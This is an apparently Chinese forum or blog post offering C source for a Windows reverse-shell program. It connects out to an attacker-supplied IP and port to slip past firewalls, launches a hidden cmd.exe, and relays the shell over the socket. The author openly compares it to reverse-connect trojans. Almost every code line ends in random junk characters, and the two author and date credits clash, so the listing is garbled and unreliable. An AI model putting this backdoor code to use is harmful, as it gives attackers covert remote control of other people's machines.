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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `Z-`-IL  
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/* ============================== V_!i KEU  
Rebound port in Windows NT @V)WJ {  
By wind,2006/7 q]x@q  
===============================*/ uc_ X;M;  
#include bd4q/w4q  
#include . +>}},  
x<(h9tB  
#pragma comment(lib,"wsock32.lib") JN_# [S$  
*C\O] r:'  
void OutputShell(); }kpkHq"`f  
SOCKET sClient; &^.'g{\Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,tZwXP{  
)c/] 8KU  
void main(int argc,char **argv) 4"sP= C  
{ c'b,=SM  
WSADATA stWsaData; ~"k'T9QBY  
int nRet; FWg7 e3  
SOCKADDR_IN stSaiClient,stSaiServer; 9\F^\h{  
ry'(m M  
if(argc != 3) KVuv%?  
{ 0N xaQ`\  
printf("Useage:\n\rRebound DestIP DestPort\n"); (Gcl,IW  
return; ,v"A}g0"  
} :Lx]`dSk  
4tI~d8?pk+  
WSAStartup(MAKEWORD(2,2),&stWsaData); K_i2%t3  
ZAE;$pkP  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jKzj Tn9{E  
s>5 Z  
stSaiClient.sin_family = AF_INET; qb Q> z+c  
stSaiClient.sin_port = htons(0); )n.peZ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {% P;O ?  
YdFCYSiS  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z2V!u\It  
{ D)5wGp  
printf("Bind Socket Failed!\n"); &kG<LGXP#  
return; -Q; w4@  
} {-xnBx  
U^xFqJY6  
stSaiServer.sin_family = AF_INET; L$g;^@j  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pfT7  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i+;E uHf  
:O7J9K|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6XP>p$-  
{ tVOx  
printf("Connect Error!"); nMhc3t  
return; .NKN2  
} DCj!m<Y&  
OutputShell(); !>Xx</iD1  
} L|<Mtw  
+ '`RJ,K+[  
void OutputShell() 5GKz@as8  
{ R:Lu)d>=  
char szBuff[1024]; 9cLKb  
SECURITY_ATTRIBUTES stSecurityAttributes; M0|z^2  
OSVERSIONINFO stOsversionInfo; _#+i;$cO-X  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 'Gk|&^  
STARTUPINFO stStartupInfo; D<MtLwH  
char *szShell; &b_duWs  
PROCESS_INFORMATION stProcessInformation; "k.<"pf  
unsigned long lBytesRead; fc91D]c  
6vDgM fw  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .MKxHM7  
Fq8Z:;C8  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [(C lvGx  
stSecurityAttributes.lpSecurityDescriptor = 0; y3x_B@}BY  
stSecurityAttributes.bInheritHandle = TRUE; w^~,M3(+)1  
=6Z 1yw7s  
q bo`E!K  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); | !Knd ^}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %lBFj/B  
Q8_d]V=X:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); uZfo[_g0S  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j0J6ySlY  
stStartupInfo.wShowWindow = SW_HIDE; 8 =d9*lm  
stStartupInfo.hStdInput = hReadPipe; \|Mz'*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~Y{K ^:wN^  
~%]+5^Ka]  
GetVersionEx(&stOsversionInfo); O_ ~\$b  
v"`w'+  
switch(stOsversionInfo.dwPlatformId) sS._N@f  
{ 7*sB"_U2  
case 1: Qi9SN00F.  
szShell = "command.com"; RW'QU`N[Y  
break; >1YJETysO  
default: JH 8^ZP:d'  
szShell = "cmd.exe"; r;-\z(h  
break; @ Fu|et  
} kp[Jl0K5  
jN'zNOV~  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~!I \{(  
j*GYYEY  
send(sClient,szMsg,77,0); y&UsSS  
while(1) 1'ZBtX~A  
{ &a V`u?'e  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); TV}H  
if(lBytesRead) bFcI\Q{4  
{ !^y'G0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :>|[ o&L  
send(sClient,szBuff,lBytesRead,0); ).\%a h  
} `,J\E<4J  
else G3q\Z`|3h  
{ u BvN*LQ  
lBytesRead=recv(sClient,szBuff,1024,0); Kg 56.$  
if(lBytesRead<=0) break; E;yP.<PW  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ig6F!p  
} bYiaJ  
} YQ]W<0(  
\j4TDCs_[  
return; e7-U0rrE  
}
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